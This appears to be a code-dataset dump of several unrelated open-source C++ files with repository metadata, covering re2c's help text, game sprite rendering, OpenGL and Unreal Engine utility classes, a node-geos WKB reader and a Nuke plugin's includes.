34f2ec9bc03c5c283c7c38ab0113b267d7b5e9f4 | 683cb50f5e9d4153388fa3780fcc0baabbd06d32 | /vendored/re2c/bootstrap/src/msg/help.cc | 81812b044514ec1eea56fea057d1c5ee96004b8a | [
"MIT",
"LicenseRef-scancode-warranty-disclaimer",
"LicenseRef-scancode-public-domain"
] | permissive | obazl/sealark | fe7f99891dd5c8dde71dc24d6d810a4f7b15941a | 4b68617999e79285110ad507499e916ebf7f6975 | refs/heads/main | 2023-08-13T19:35:37.263061 | 2021-09-05T02:03:07 | 2021-09-05T02:03:07 | 382,482,230 | 7 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 18,810 | cc | help.cc | extern const char *help;
const char *help =
"USAGE\n"
" re2c [OPTION...] INPUT [-o OUTPUT]\n"
"\n"
" re2go [OPTION...] INPUT [-o OUTPUT]\n"
"\n"
"OPTIONS\n"
" -? -h --help\n"
" Show help message.\n"
"\n"
" -1 --single-pass\n"
" Deprecated. Does nothing (single pass is the default now).\n"
"\n"
" -8 --utf-8\n"
" Generate a lexer that reads input in UTF-8 encoding. re2c as‐\n"
" sumes that character range is 0 -- 0x10FFFF and character size\n"
" is 1 byte.\n"
"\n"
" -b --bit-vectors\n"
" Optimize conditional jumps using bit masks. Implies -s.\n"
"\n"
" -c --conditions --start-conditions\n"
" Enable support of Flex-like \"conditions\": multiple interrelated\n"
" lexers within one block. Option --start-conditions is a legacy\n"
" alias; use --conditions instead.\n"
"\n"
" --case-insensitive\n"
" Treat single-quoted and double-quoted strings as case-insensi‐\n"
" tive.\n"
"\n"
" --case-inverted\n"
" Invert the meaning of single-quoted and double-quoted strings:\n"
" treat single-quoted strings as case-sensitive and double-quoted\n"
" strings as case-insensitive.\n"
"\n"
" --case-ranges\n"
" Collapse consecutive cases in a switch statements into a range\n"
" of the form case low ... high:. This syntax is an extension of\n"
" the C/C++ language, supported by compilers like GCC, Clang and\n"
" Tcc. The main advantage over using single cases is smaller gen‐\n"
" erated C code and faster generation time, although for some com‐\n"
" pilers like Tcc it also results in smaller binary size. This\n"
" option doesn't work for the Go backend.\n"
"\n"
" --depfile FILE\n"
" Write dependency information to FILE in the form of a Makefile\n"
" rule <output-file> : <input-file> [include-file ...]. This al‐\n"
" lows to track build dependencies in the presence of /*!in‐\n"
" clude:re2c*/ directives, so that updating include files triggers\n"
" regeneration of the output file. This option requires that -o\n"
" --output option is specified.\n"
"\n"
" -e --ecb\n"
" Generate a lexer that reads input in EBCDIC encoding. re2c as‐\n"
" sumes that character range is 0 -- 0xFF an character size is 1\n"
" byte.\n"
"\n"
" --empty-class <match-empty | match-none | error>\n"
" Define the way re2c treats empty character classes. With\n"
" match-empty (the default) empty class matches empty input (which\n"
" is illogical, but backwards-compatible). With``match-none``\n"
" empty class always fails to match. With error empty class\n"
" raises a compilation error.\n"
"\n"
" --encoding-policy <fail | substitute | ignore>\n"
" Define the way re2c treats Unicode surrogates. With fail re2c\n"
" aborts with an error when a surrogate is encountered. With sub‐\n"
" stitute re2c silently replaces surrogates with the error code\n"
" point 0xFFFD. With ignore (the default) re2c treats surrogates\n"
" as normal code points. The Unicode standard says that standalone\n"
" surrogates are invalid, but real-world libraries and programs\n"
" behave in different ways.\n"
"\n"
" -f --storable-state\n"
" Generate a lexer which can store its inner state. This is use‐\n"
" ful in push-model lexers which are stopped by an outer program\n"
" when there is not enough input, and then resumed when more input\n"
" becomes available. In this mode users should additionally define\n"
" YYGETSTATE() and YYSETSTATE(state) macros and variables yych,\n"
" yyaccept and state as part of the lexer state.\n"
"\n"
" -F --flex-syntax\n"
" Partial support for Flex syntax: in this mode named definitions\n"
" don't need the equal sign and the terminating semicolon, and\n"
" when used they must be surrounded by curly braces. Names without\n"
" curly braces are treated as double-quoted strings.\n"
"\n"
" -g --computed-gotos\n"
" Optimize conditional jumps using non-standard \"computed goto\"\n"
" extension (which must be supported by the compiler). re2c gener‐\n"
" ates jump tables only in complex cases with a lot of conditional\n"
" branches. Complexity threshold can be configured with\n"
" cgoto:threshold configuration. This option implies -b. This op‐\n"
" tion doesn't work for the Go backend.\n"
"\n"
" -I PATH\n"
" Add PATH to the list of locations which are used when searching\n"
" for include files. This option is useful in combination with\n"
" /*!include:re2c ... */ directive. Re2c looks for FILE in the di‐\n"
" rectory of including file and in the list of include paths spec‐\n"
" ified by -I option.\n"
"\n"
" -i --no-debug-info\n"
" Do not output #line information. This is useful when the gener‐\n"
" ated code is tracked by some version control system or IDE.\n"
"\n"
" --input <default | custom>\n"
" Specify the API used by the generated code to interface with\n"
" used-defined code. Option default is the C API based on pointer\n"
" arithmetic (it is the default for the C backend). Option custom\n"
" is the generic API (it is the default for the Go backend).\n"
"\n"
" --input-encoding <ascii | utf8>\n"
" Specify the way re2c parses regular expressions. With ascii\n"
" (the default) re2c handles input as ASCII-encoded: any sequence\n"
" of code units is a sequence of standalone 1-byte characters.\n"
" With utf8 re2c handles input as UTF8-encoded and recognizes\n"
" multibyte characters.\n"
"\n"
" --lang <c | go>\n"
" Specify the output language. Supported languages are C and Go\n"
" (the default is C).\n"
"\n"
" --location-format <gnu | msvc>\n"
" Specify location format in messages. With gnu locations are\n"
" printed as 'filename:line:column: ...'. With msvc locations are\n"
" printed as 'filename(line,column) ...'. Default is gnu.\n"
"\n"
" --no-generation-date\n"
" Suppress date output in the generated file.\n"
"\n"
" --no-version\n"
" Suppress version output in the generated file.\n"
"\n"
" -o OUTPUT --output=OUTPUT\n"
" Specify the OUTPUT file.\n"
"\n"
" -P --posix-captures\n"
" Enable submatch extraction with POSIX-style capturing groups.\n"
"\n"
" -r --reusable\n"
" Allows reuse of re2c rules with /*!rules:re2c */ and /*!use:re2c\n"
" */ blocks. Exactly one rules-block must be present. The rules\n"
" are saved and used by every use-block that follows, which may\n"
" add its own rules and configurations.\n"
"\n"
" -S --skeleton\n"
" Ignore user-defined interface code and generate a self-contained\n"
" \"skeleton\" program. Additionally, generate input files with\n"
" strings derived from the regular grammar and compressed match\n"
" results that are used to verify \"skeleton\" behavior on all in‐\n"
" puts. This option is useful for finding bugs in optimizations\n"
" and code generation. This option doesn't work for the Go back‐\n"
" end.\n"
"\n"
" -s --nested-ifs\n"
" Use nested if statements instead of switch statements in condi‐\n"
" tional jumps. This usually results in more efficient code with\n"
" non-optimizing compilers.\n"
"\n"
" -T --tags\n"
" Enable submatch extraction with tags.\n"
"\n"
" -t HEADER --type-header=HEADER\n"
" Generate a HEADER file that contains enum with condition names.\n"
" Requires -c option.\n"
"\n"
" -u --unicode\n"
" Generate a lexer that reads UTF32-encoded input. Re2c assumes\n"
" that character range is 0 -- 0x10FFFF and character size is 4\n"
" bytes. This option implies -s.\n"
"\n"
" -V --vernum\n"
" Show version information in MMmmpp format (major, minor, patch).\n"
"\n"
" --verbose\n"
" Output a short message in case of success.\n"
"\n"
" -v --version\n"
" Show version information.\n"
"\n"
" -w --wide-chars\n"
" Generate a lexer that reads UCS2-encoded input. Re2c assumes\n"
" that character range is 0 -- 0xFFFF and character size is 2\n"
" bytes. This option implies -s.\n"
"\n"
" -x --utf-16\n"
" Generate a lexer that reads UTF16-encoded input. Re2c assumes\n"
" that character range is 0 -- 0x10FFFF and character size is 2\n"
" bytes. This option implies -s.\n"
"\n"
" -D --emit-dot\n"
" Instead of normal output generate lexer graph in .dot format.\n"
" The output can be converted to an image with the help of\n"
" Graphviz (e.g. something like dot -Tpng -odfa.png dfa.dot).\n"
"\n"
" -d --debug-output\n"
" Emit YYDEBUG in the generated code. YYDEBUG should be defined\n"
" by the user in the form of a void function with two parameters:\n"
" state (lexer state or -1) and symbol (current input symbol of\n"
" type YYCTYPE).\n"
"\n"
" --dump-adfa\n"
" Debug option: output DFA after tunneling (in .dot format).\n"
"\n"
" --dump-cfg\n"
" Debug option: output control flow graph of tag variables (in\n"
" .dot format).\n"
"\n"
" --dump-closure-stats\n"
" Debug option: output statistics on the number of states in clo‐\n"
" sure.\n"
"\n"
" --dump-dfa-det\n"
" Debug option: output DFA immediately after determinization (in\n"
" .dot format).\n"
"\n"
" --dump-dfa-min\n"
" Debug option: output DFA after minimization (in .dot format).\n"
"\n"
" --dump-dfa-tagopt\n"
" Debug option: output DFA after tag optimizations (in .dot for‐\n"
" mat).\n"
"\n"
" --dump-dfa-tree\n"
" Debug option: output DFA under construction with states repre‐\n"
" sented as tag history trees (in .dot format).\n"
"\n"
" --dump-dfa-raw\n"
" Debug option: output DFA under construction with expanded\n"
" state-sets (in .dot format).\n"
"\n"
" --dump-interf\n"
" Debug option: output interference table produced by liveness\n"
" analysis of tag variables.\n"
"\n"
" --dump-nfa\n"
" Debug option: output NFA (in .dot format).\n"
"\n"
" --dfa-minimization <moore | table>\n"
" Internal option: DFA minimization algorithm used by re2c. The\n"
" moore option is the Moore algorithm (it is the default). The ta‐\n"
" ble option is the \"table filling\" algorithm. Both algorithms\n"
" should produce the same DFA up to states relabeling; table fill‐\n"
" ing is simpler and much slower and serves as a reference imple‐\n"
" mentation.\n"
"\n"
" --eager-skip\n"
" Internal option: make the generated lexer advance the input po‐\n"
" sition eagerly -- immediately after reading the input symbol.\n"
" This changes the default behavior when the input position is ad‐\n"
" vanced lazily -- after transition to the next state. This option\n"
" is implied by --no-lookahead.\n"
"\n"
" --no-lookahead\n"
" Internal option: use TDFA(0) instead of TDFA(1). This option\n"
" has effect only with --tags or --posix-captures options.\n"
"\n"
" --no-optimize-tags\n"
" Internal optionL: suppress optimization of tag variables (useful\n"
" for debugging).\n"
"\n"
" --posix-closure <gor1 | gtop>\n"
" Internal option: specify shortest-path algorithm used for the\n"
" construction of epsilon-closure with POSIX disambiguation seman‐\n"
" tics: gor1 (the default) stands for Goldberg-Radzik algorithm,\n"
" and gtop stands for \"global topological order\" algorithm.\n"
"\n"
" --posix-prectable <complex | naive>\n"
" Internal option: specify the algorithm used to compute POSIX\n"
" precedence table. The complex algorithm computes precedence ta‐\n"
" ble in one traversal of tag history tree and has quadratic com‐\n"
" plexity in the number of TNFA states; it is the default. The\n"
" naive algorithm has worst-case cubic complexity in the number of\n"
" TNFA states, but it is much simpler than complex and may be\n"
" slightly faster in non-pathological cases.\n"
"\n"
" --stadfa\n"
" Internal option: use staDFA algorithm for submatch extraction.\n"
" The main difference with TDFA is that tag operations in staDFA\n"
" are placed in states, not on transitions.\n"
"\n"
" --fixed-tags <none | toplevel | all>\n"
" Internal option: specify whether the fixed-tag optimization\n"
" should be applied to all tags (all), none of them (none), or\n"
" only those in toplevel concatenation (toplevel). The default is\n"
" all. \"Fixed\" tags are those that are located within a fixed\n"
" distance to some other tag (called \"base\"). In such cases only\n"
" tha base tag needs to be tracked, and the value of the fixed tag\n"
" can be computed as the value of the base tag plus a static off‐\n"
" set. For tags that are under alternative or repetition it is\n"
" also necessary to check if the base tag has a no-match value (in\n"
" that case fixed tag should also be set to no-match, disregarding\n"
" the offset). For tags in top-level concatenation the check is\n"
" not needed, because they always match.\n"
"\n"
"WARNINGS\n"
" -W Turn on all warnings.\n"
"\n"
" -Werror\n"
" Turn warnings into errors. Note that this option alone doesn't\n"
" turn on any warnings; it only affects those warnings that have\n"
" been turned on so far or will be turned on later.\n"
"\n"
" -W<warning>\n"
" Turn on warning.\n"
"\n"
" -Wno-<warning>\n"
" Turn off warning.\n"
"\n"
" -Werror-<warning>\n"
" Turn on warning and treat it as an error (this implies -W<warn‐\n"
" ing>).\n"
"\n"
" -Wno-error-<warning>\n"
" Don't treat this particular warning as an error. This doesn't\n"
" turn off the warning itself.\n"
"\n"
" -Wcondition-order\n"
" Warn if the generated program makes implicit assumptions about\n"
" condition numbering. One should use either the -t, --type-header\n"
" option or the /*!types:re2c*/ directive to generate a mapping of\n"
" condition names to numbers and then use the autogenerated condi‐\n"
" tion names.\n"
"\n"
" -Wempty-character-class\n"
" Warn if a regular expression contains an empty character class.\n"
" Trying to match an empty character class makes no sense: it\n"
" should always fail. However, for backwards compatibility rea‐\n"
" sons re2c allows empty character classes and treats them as\n"
" empty strings. Use the --empty-class option to change the de‐\n"
" fault behavior.\n"
"\n"
" -Wmatch-empty-string\n"
" Warn if a rule is nullable (matches an empty string). If the\n"
" lexer runs in a loop and the empty match is unintentional, the\n"
" lexer may unexpectedly hang in an infinite loop.\n"
"\n"
" -Wswapped-range\n"
" Warn if the lower bound of a range is greater than its upper\n"
" bound. The default behavior is to silently swap the range\n"
" bounds.\n"
"\n"
" -Wundefined-control-flow\n"
" Warn if some input strings cause undefined control flow in the\n"
" lexer (the faulty patterns are reported). This is the most dan‐\n"
" gerous and most common mistake. It can be easily fixed by adding\n"
" the default rule * which has the lowest priority, matches any\n"
" code unit, and consumes exactly one code unit.\n"
"\n"
" -Wunreachable-rules\n"
" Warn about rules that are shadowed by other rules and will never\n"
" match.\n"
"\n"
" -Wuseless-escape\n"
" Warn if a symbol is escaped when it shouldn't be. By default,\n"
" re2c silently ignores such escapes, but this may as well indi‐\n"
" cate a typo or an error in the escape sequence.\n"
"\n"
" -Wnondeterministic-tags\n"
" Warn if a tag has n-th degree of nondeterminism, where n is\n"
" greater than 1.\n"
"\n"
" -Wsentinel-in-midrule\n"
" Warn if the sentinel symbol occurs in the middle of a rule ---\n"
" this may cause reads past the end of buffer, crashes or memory\n"
" corruption in the generated lexer. This warning is only applica‐\n"
" ble if the sentinel method of checking for the end of input is\n"
" used. It is set to an error if re2c:sentinel configuration is\n"
" used.\n"
;
|
67a45d46874e4bf639f81fe1b0a2b0503992d6e6 | b6c85036a88d5b3171a6c79de9e310f42f55acd6 | /ranntousyougi_forgit/source/number.cpp | f0d00b93f688791393d94f712cd385b10cd861a9 | [] | no_license | HAL-TOM/ranntousyougi | 91d299040ce1c00c56f1b6cf655520596dd7dd14 | 580cdd53690b9db009431818d63c184a284507e8 | refs/heads/main | 2023-04-07T10:25:50.057147 | 2021-04-10T02:31:21 | 2021-04-10T02:31:21 | 337,283,085 | 1 | 0 | null | null | null | null | SHIFT_JIS | C++ | false | false | 5,224 | cpp | number.cpp | #include"main.h"
#include"renderer.h"
#include"game_object.h"
#include"scene.h"
#include"camera.h"
#include"manager.h"
#include "number.h"
CNumber::CNumber()
{
}
CNumber::~CNumber()
{
}
ID3D11ShaderResourceView* CNumber::m_texture =nullptr;
void CNumber::Load()
{
//テクスチャ読み込み
D3DX11CreateShaderResourceViewFromFile
(
CRenderer::GetDevice(),
"asset\\texture\\number.png",
NULL,
NULL,
&m_texture,
NULL
);
}
void CNumber::UnLoad()
{
m_texture->Release();
}
void CNumber::VertexInit()//頂点バッファ初期化
{
VERTEX_3D vertex[4];
vertex[0].Position = D3DXVECTOR3(-1.0f, 1.0f, 0.0f);
vertex[0].Normal = D3DXVECTOR3(0.0f, 1.0f, 0.0f);
vertex[0].Diffuse = D3DXVECTOR4(1.0f, 1.0f, 1.0f, 1.0f);
vertex[0].TexCoord = D3DXVECTOR2(0.0f, 0.0f);
vertex[1].Position = D3DXVECTOR3(1.0f, 1.0f, 0.0f);
vertex[1].Normal = D3DXVECTOR3(0.0f, 1.0f, 0.0f);
vertex[1].Diffuse = D3DXVECTOR4(1.0f, 1.0f, 1.0f, 1.0f);
vertex[1].TexCoord = D3DXVECTOR2(1.0f, 0.0f);
vertex[2].Position = D3DXVECTOR3(-1.0f, -1.0f, 0.0f);
vertex[2].Normal = D3DXVECTOR3(0.0f, 1.0f, 0.0f);
vertex[2].Diffuse = D3DXVECTOR4(1.0f, 1.0f, 1.0f, 1.0f);
vertex[2].TexCoord = D3DXVECTOR2(0.0f, 1.0f);
vertex[3].Position = D3DXVECTOR3(1.0f, -1.0f, 0.0f);
vertex[3].Normal = D3DXVECTOR3(0.0f, 1.0f, 0.0f);
vertex[3].Diffuse = D3DXVECTOR4(1.0f, 1.0f, 1.0f, 1.0f);
vertex[3].TexCoord = D3DXVECTOR2(1.0f, 1.0f);
/////////////////////////////////////////////////////////////////
//ここ!!
/////////////////////////////////////////////////////////////////
//頂点バッファ生成
D3D11_BUFFER_DESC bd;
ZeroMemory(&bd, sizeof(bd));
bd.Usage = D3D11_USAGE_DYNAMIC;
bd.ByteWidth = sizeof(VERTEX_3D) * 4;
bd.BindFlags = D3D11_BIND_VERTEX_BUFFER;
bd.CPUAccessFlags = D3D11_CPU_ACCESS_WRITE;
D3D11_SUBRESOURCE_DATA sd;
ZeroMemory(&sd, sizeof(sd));
sd.pSysMem = vertex;
CRenderer::GetDevice()->CreateBuffer(&bd, &sd, &m_vertexBuffer);
}
void CNumber::Init()
{
VertexInit();
}
void CNumber::Uninit()
{
m_vertexBuffer->Release();
}
void CNumber::Draw()
{
D3DXVECTOR3 drawPos = this->GetGameObject()->GetPosition();
int num = m_num;
do
{
DrawNumber(num%10,drawPos);
num /= 10;
if (num>0)
{
drawPos.x -= this->GetGameObject()->GetScale().x;
}
} while (num > 0);
}
void CNumber::Update()
{
}
void CNumber::DrawNumber(int num, D3DXVECTOR3 pos)
{
float cut_X = 1.0f / 5.0f;
float cut_Y = 1.0f / 5.0f;
float uv_X,uv_Y;
if (num<0)
{
return;
}
if (num >= 10)
{
return;
}
uv_X = cut_X * (num % 5);
uv_Y = cut_Y * (num / 5);
D3D11_MAPPED_SUBRESOURCE msr;
CRenderer::GetDeviceContext()->Map(m_vertexBuffer, 0, D3D11_MAP_WRITE_DISCARD, 0, &msr);
VERTEX_3D * vertex = (VERTEX_3D*)msr.pData;
vertex[0].Position = D3DXVECTOR3(-1.0f, 1.0f, 0.0f);
vertex[0].Normal = D3DXVECTOR3(0.0f, 1.0f, 0.0f);
vertex[0].Diffuse = D3DXVECTOR4(1.0f, 1.0f, 1.0f, 1.0f);
vertex[0].TexCoord = D3DXVECTOR2(uv_X, uv_Y);
vertex[1].Position = D3DXVECTOR3(1.0f, 1.0f, 0.0f);
vertex[1].Normal = D3DXVECTOR3(0.0f, 1.0f, 0.0f);
vertex[1].Diffuse = D3DXVECTOR4(1.0f, 1.0f, 1.0f, 1.0f);
vertex[1].TexCoord = D3DXVECTOR2(uv_X + cut_X, uv_Y);
vertex[2].Position = D3DXVECTOR3(-1.0f, -1.0f, 0.0f);
vertex[2].Normal = D3DXVECTOR3(0.0f, 1.0f, 0.0f);
vertex[2].Diffuse = D3DXVECTOR4(1.0f, 1.0f, 1.0f, 1.0f);
vertex[2].TexCoord = D3DXVECTOR2(uv_X, uv_Y + cut_Y);
vertex[3].Position = D3DXVECTOR3(1.0f, -1.0f, 0.0f);
vertex[3].Normal = D3DXVECTOR3(0.0f, 1.0f, 0.0f);
vertex[3].Diffuse = D3DXVECTOR4(1.0f, 1.0f, 1.0f, 1.0f);
vertex[3].TexCoord = D3DXVECTOR2(uv_X + cut_X, uv_Y + cut_Y);
CRenderer::GetDeviceContext()->Unmap(m_vertexBuffer, 0);
///////////////////////////////////////////////////////////////////
CScene *scene = CManager::GetScene();
CCamera* camera = scene->FindComponent<CCamera>();
D3DXMATRIX view = camera->GetViewMatrix();
D3DXMATRIX invView;
D3DXMatrixInverse(&invView, NULL, &view);
invView._41 = 0.0f;
invView._42 = 0.0f;
invView._43 = 0.0f;
//マトリクス変換
D3DXMATRIX mtxWorld, mtxScale,/* mtxRot,*/ mtxTrans;
D3DXMatrixScaling(&mtxScale, m_gameobject->GetScale().x, m_gameobject->GetScale().y, m_gameobject->GetScale().z);
D3DXMatrixTranslation(&mtxTrans, pos.x, pos.y, pos.z);
mtxWorld = mtxScale * invView * mtxTrans;
CRenderer::SetWorldMatrix(&mtxWorld);
//頂点バッファ設定
UINT stride = sizeof(VERTEX_3D);
UINT offset = 0;
CRenderer::GetDeviceContext()->IASetVertexBuffers
(
0, 1, &m_vertexBuffer, &stride, &offset
);
//マテリアル設定
MATERIAL material;
ZeroMemory(&material, sizeof(material));
material.Diffuse = D3DXCOLOR(1.0f, 1.0f, 1.0f, 1.0f);
CRenderer::SetMaterial(material);
//テクスチャ設定
CRenderer::GetDeviceContext()->PSSetShaderResources(0, 1, &m_texture);
//プリミティブトポロジ設定
CRenderer::GetDeviceContext()->IASetPrimitiveTopology(D3D11_PRIMITIVE_TOPOLOGY_TRIANGLESTRIP);
//ポリゴン描画
CRenderer::GetDeviceContext()->Draw(4, 0);
} |
9d0916f28e2dfbb4f5bd490edc81f388ab8272de | 11866e064c1a1248cc46b90009713f06ee2133ee | /Armadillo/AEFrameBuffer.h | c358cfbf8ab5cc152055e4edab93d9d6ef767a9d | [] | no_license | Szort/modern_opengl | d0edd1d31db32702424f22f19bb639a109b42460 | 137563d57199b9b6c61f21fe6d0f7d73b1a322a0 | refs/heads/master | 2021-07-20T04:39:45.767634 | 2019-10-30T22:00:14 | 2019-10-30T22:00:14 | 158,931,206 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 601 | h | AEFrameBuffer.h | #pragma once
#include "AEViewport.h"
enum AEGBufferTexture
{
eAE_GBuffer_WorldPosition,
eAE_GBuffer_Albedo,
eAE_GBuffer_Normal,
eAE_GBuffer_Depth,
eAE_GBuffer_Count
};
class AEFrameBuffer
{
uint32_t framebuffer;
uint32_t textures[eAE_GBuffer_Count];
uint32_t GBufferDrawAttachemnts[3] = {
GL_COLOR_ATTACHMENT0,
GL_COLOR_ATTACHMENT1,
GL_COLOR_ATTACHMENT2
};
public:
void CreateFrameBuffer(AEViewport& viewport);
void BindForDraw();
void Bind();
void Unbind();
uint32_t* GetTexture() { return textures; };
uint32_t GetTexture(AEGBufferTexture id) { return textures[id]; };
}; |
56e64ffe08853a5f3dd643b6b944ac837366715c | 4d663aa2c3e31e261116479579bea5023e6306c1 | /CodeExamples/AI/TerrainAnalysis/Source/Student/Project_1/ControlFlow/C_ParallelSequencer.h | ef7e79989e64f887ee31d3fdc73f54abd42bf41a | [] | no_license | rmomin855/Projects | 69f66035942a389d6600a52c8a5a33a4c3c3ade3 | db1734ae3b327e4972d29181787a4e8e02300cfe | refs/heads/main | 2023-04-15T18:07:13.877013 | 2021-04-29T11:40:13 | 2021-04-29T11:40:13 | 348,859,358 | 0 | 1 | null | 2021-03-17T22:24:50 | 2021-03-17T21:40:31 | C++ | UTF-8 | C++ | false | false | 174 | h | C_ParallelSequencer.h | #pragma once
#include "BehaviorNode.h"
class C_ParallelSequencer : public BaseNode<C_ParallelSequencer>
{
protected:
virtual void on_update(float dt) override;
}; |
7f889e38311c5f73d59741536e48242dddd2581b | c8b39acfd4a857dc15ed3375e0d93e75fa3f1f64 | /Engine/Source/Runtime/CoreUObject/Public/Serialization/ArchiveReferenceMarker.h | 6e63d4a4b7e54e754e5bfcd42f78f014a6ba8449 | [
"MIT",
"LicenseRef-scancode-proprietary-license"
] | permissive | windystrife/UnrealEngine_NVIDIAGameWorks | c3c7863083653caf1bc67d3ef104fb4b9f302e2a | b50e6338a7c5b26374d66306ebc7807541ff815e | refs/heads/4.18-GameWorks | 2023-03-11T02:50:08.471040 | 2022-01-13T20:50:29 | 2022-01-13T20:50:29 | 124,100,479 | 262 | 179 | MIT | 2022-12-16T05:36:38 | 2018-03-06T15:44:09 | C++ | UTF-8 | C++ | false | false | 1,862 | h | ArchiveReferenceMarker.h | // Copyright 1998-2017 Epic Games, Inc. All Rights Reserved.
#pragma once
#include "CoreMinimal.h"
#include "UObject/Object.h"
#include "Serialization/ArchiveUObject.h"
/**
* This archive marks all objects referenced by the specified "root set" of objects.
*/
class FArchiveReferenceMarker : public FArchiveUObject
{
public:
FArchiveReferenceMarker( TArray<UObject*>& SourceObjects )
{
ArIsObjectReferenceCollector = true;
ArIgnoreOuterRef = true;
for ( int32 ObjectIndex = 0; ObjectIndex < SourceObjects.Num(); ObjectIndex++ )
{
UObject* Object = SourceObjects[ObjectIndex];
Object->Mark(OBJECTMARK_TagImp);
// OBJECTMARK_TagImp is used to allow serialization of objects which we would otherwise ignore.
Object->Serialize(*this);
}
for ( int32 ObjectIndex = 0; ObjectIndex < SourceObjects.Num(); ObjectIndex++ )
{
UObject* Object = SourceObjects[ObjectIndex];
Object->UnMark(OBJECTMARK_TagImp);
}
}
/**
* UObject serialize operator implementation
*
* @param Object reference to Object reference
* @return reference to instance of this class
*/
FArchive& operator<<( UObject*& Object )
{
if (Object != NULL && !(Object->HasAnyMarks(OBJECTMARK_TagExp) || Object->IsPendingKillOrUnreachable()) )
{
Object->Mark(OBJECTMARK_TagExp);
const bool bIgnoreObject =
// No need to call Serialize from here for any objects that were part of our root set.
// By preventing re-entrant serialization using the OBJECTMARK_TagImp flag (instead of just marking each object in the root set with
// OBJECTMARK_TagExp prior to calling Serialize) we can determine which objects from our root set are being referenced
// by other objects in our root set.
Object->HasAnyMarks(OBJECTMARK_TagImp);
if ( bIgnoreObject == false )
{
Object->Serialize( *this );
}
}
return *this;
}
};
|
95150d507aa78a5b8ba0ff65ec2ee894ee3e46bc | 830edb1a4ac22eb2a69f68bb05863cd4522e32d3 | /src/cpp/wkbreader.cpp | 5ccbf43c2ab5754505faa64fbab20ff44e612318 | [
"MIT"
] | permissive | warrenwyf/node-geos | 74c855335410d7e6a9ca50f43cd9cfa7d3fe7c69 | f3de92fc109be15bb2df079a548cd4b3146fb9e3 | refs/heads/master | 2021-01-18T12:31:14.968570 | 2015-02-04T05:05:36 | 2015-02-04T05:05:36 | 30,280,248 | 0 | 0 | null | 2015-02-04T03:52:40 | 2015-02-04T03:52:40 | null | UTF-8 | C++ | false | false | 1,911 | cpp | wkbreader.cpp | #include "wkbreader.hpp"
#include <sstream>
WKBReader::WKBReader() {
_reader = new geos::io::WKBReader();
}
WKBReader::WKBReader(const geos::geom::GeometryFactory *gf) {
_reader = new geos::io::WKBReader(*gf);
}
WKBReader::~WKBReader() {}
Persistent<FunctionTemplate> WKBReader::constructor;
void WKBReader::Initialize(Handle<Object> target)
{
HandleScope scope;
constructor = Persistent<FunctionTemplate>::New(FunctionTemplate::New(WKBReader::New));
constructor->InstanceTemplate()->SetInternalFieldCount(1);
constructor->SetClassName(String::NewSymbol("WKBReader"));
NODE_SET_PROTOTYPE_METHOD(constructor, "readHEX", WKBReader::ReadHEX);
target->Set(String::NewSymbol("WKBReader"), constructor->GetFunction());
}
Handle<Value> WKBReader::New(const Arguments& args)
{
HandleScope scope;
WKBReader *wkbReader;
if(args.Length() == 1) {
GeometryFactory *factory = ObjectWrap::Unwrap<GeometryFactory>(args[0]->ToObject());
wkbReader = new WKBReader(factory->_factory);
} else {
wkbReader = new WKBReader();
}
wkbReader->Wrap(args.This());
return args.This();
}
Handle<Value> WKBReader::ReadHEX(const Arguments& args)
{
HandleScope scope;
WKBReader* reader = ObjectWrap::Unwrap<WKBReader>(args.This());
v8::String::AsciiValue hex(args[0]->ToString());
std::string str = std::string(*hex);
std::istringstream is( str );
try {
geos::geom::Geometry* geom = reader->_reader->readHEX(is);
return scope.Close(Geometry::New(geom));
} catch (geos::io::ParseException e) {
return ThrowException(Exception::Error(String::New(e.what())));
} catch (geos::util::GEOSException e) {
return ThrowException(Exception::Error(String::New(e.what())));
} catch (...) {
return ThrowException(Exception::Error(String::New("Exception while reading WKB.")));
}
}
|
ba1a131990712d6e88030e9e4ecbed2812224c08 | def993d87717cd42a9090a17d9c1df5648e924ce | /src/IECoreNuke/DisplayIop.cpp | 4f3ba5f9587c81efbee709e88cddd37bb3505c19 | [
"BSD-2-Clause",
"BSD-3-Clause"
] | permissive | ImageEngine/cortex | 688388296aad2b36dd0bfb7da7b25dcbdc7bd856 | 6eec66f5dccfd50dda247b04453bce65abc595eb | refs/heads/main | 2023-09-05T07:01:13.679207 | 2023-08-17T23:14:41 | 2023-08-17T23:14:41 | 10,654,465 | 439 | 104 | NOASSERTION | 2023-09-14T11:30:41 | 2013-06-12T23:12:28 | C++ | UTF-8 | C++ | false | false | 10,140 | cpp | DisplayIop.cpp | //////////////////////////////////////////////////////////////////////////
//
// Copyright (c) 2012, J3P LLC. All rights reserved.
//
// Copyright (c) 2013, Image Engine Design Inc. All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright
// notice, this list of conditions and the following disclaimer in the
// documentation and/or other materials provided with the distribution.
//
// * Neither the name of Image Engine Design nor the names of any
// other contributors to this software may be used to endorse or
// promote products derived from this software without specific prior
// written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
// IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
// THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
// PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
// EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
// PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
// PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
// LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
// NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//
//////////////////////////////////////////////////////////////////////////
#include "IECoreNuke/DisplayIop.h"
#include "IECoreNuke/TypeIds.h"
#include "IECoreImage/ImageDisplayDriver.h"
#include "IECore/LRUCache.h"
#include "DDImage/Knobs.h"
#include "DDImage/Row.h"
#include "boost/bind/bind.hpp"
#include "boost/lexical_cast.hpp"
#include "boost/signals2.hpp"
using namespace boost::placeholders;
